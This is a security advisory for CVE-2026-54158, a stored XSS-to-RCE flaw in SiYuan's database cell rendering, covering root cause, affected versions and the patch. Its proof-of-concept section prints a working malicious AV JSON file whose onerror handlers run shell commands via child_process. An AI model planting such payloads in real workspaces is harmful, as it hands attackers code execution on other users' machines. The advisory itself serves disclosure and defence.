critical · 9.9CVE-2026-54158Jul 10, 2026

CVE-2026-54158: SiYuan Stored XSS to RCE via Unescaped Attribute-View Cell Rendering

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

SiYuan's database cell renderer writes attacker-controlled text, URL, phone, and asset values directly into innerHTML without escaping, letting anyone who can touch a synced workspace plant a payload

Packagegithub.com/siyuan-note/siyuan/kernel
Ecosystemgo
Affected< 0.0.0-20260628153353-2d5d72223df4
Fixed in0.0.0-20260628153353-2d5d72223df4

The problem

The TypeScript function `genAVValueHTML` in `app/src/protyle/render/av/blockAttr.ts` builds HTML for attribute-view (database) cells using raw template literals. Four branches, `text`, `url`, `phone`, and `mAsset`, concatenate cell values straight into the output string.

Every call site then assigns that string to `innerHTML`.

The kernel write path in `kernel/model/attribute_view.go` stores cell values with no HTML escaping, so a malicious string persists byte-for-byte in `data/storage/av/<avID>.json`. Because AV files travel with normal workspace sync, one write poisons every synced peer.

On Electron desktop the renderer runs with `nodeIntegration:true`, `contextIsolation:false`, and `webSecurity:false`, so the XSS immediately reaches `require('child_process')` for full host RCE.

Proof of concept

A working proof-of-concept for CVE-2026-54158 in github.com/siyuan-note/siyuan/kernel, with the exact payload below.

json
// Minimum-viable AV JSON, written to workspace/data/storage/av/poc.json
// The "text" cell breaks out of the <textarea> tag;
// the "url" cell breaks out of the value="..." attribute.
{
  "spec": 2,
  "id": "20260519999999-poctest",
  "name": "PocAV",
  "keyValues": [
    {
      "key": {"id": "...keyblok", "name": "Block", "type": "block"},
      "values": [{
        "id": "...row1blk", "keyID": "...keyblok", "blockID": "...row1blk",
        "type": "block", "isDetached": true,
        "block": {"id": "...row1blk", "content": "Row 1"}
      }]
    },
    {
      "key": {"id": "...keytext", "name": "TextField", "type": "text"},
      "values": [{
        "id": "...celltxt", "keyID": "...keytext", "blockID": "...row1blk",
        "type": "text",
        "text": {"content": "</textarea><img src=x onerror=\"require('child_process').execSync('open /Applications/Calculator.app')\">"}
      }]
    },
    {
      "key": {"id": "...keyurl0", "name": "UrlField", "type": "url"},
      "values": [{
        "id": "...cellurl", "keyID": "...keyurl0", "blockID": "...row1blk",
        "type": "url",
        "url": {"content": "\"><img src=x onerror=\"require('child_process').execSync('open /Applications/Calculator.app')\">"}
      }]
    }
  ]
}

// Verify the kernel returns content unescaped:
// curl -s -X POST http://localhost:6806/api/av/getAttributeView \
//   -H "Authorization: Token $TOKEN" \
//   -d '{"id":"20260519999999-poctest"}' | python3 -m json.tool | grep '"content":'
//
// Payload fires when victim opens the block-attribute panel on any row
// in this AV (cell click or gutter icon — normal database usage).

The `text` branch emits `<textarea ...>${value.text?.content || ''}</textarea>` with no escaping. A value of `</textarea><img src=x onerror="...">` closes the textarea tag early and injects an `<img>` element whose `onerror` handler runs immediately. The `url` and `phone` branches embed content inside `value="..."` and `href="..."` attributes with no quoting escape, so `"><img src=x onerror="...">` terminates the attribute and injects a second element.

`escapeHtml` and `escapeAttr` already existed in the codebase and were applied to the `block`, `select`, and `mSelect` branches. The fix (commit `2d5d72223df4`) extends them to the four unprotected branches. The backend has no equivalent call to `html.EscapeAttrVal` in `kernel/model/attribute_view.go`, unlike the block-IAL write path at `kernel/model/blockial.go:261`, so existing payloads in synced workspaces are not retroactively neutralized by the backend change alone.

The fix

Upgrade to SiYuan 3.7.0 (patch commit `2d5d72223df4`). The fix wraps all four unsafe branches in `escapeHtml` or `escapeAttr` calls inside `genAVValueHTML`. If you cannot upgrade immediately, avoid opening block-attribute panels on rows from untrusted or externally synced workspaces, and audit `data/storage/av/*.json` for `<`, `>`, and `"` characters in cell content fields.

Reporter not attributed.

References: [1][2][3]

Related research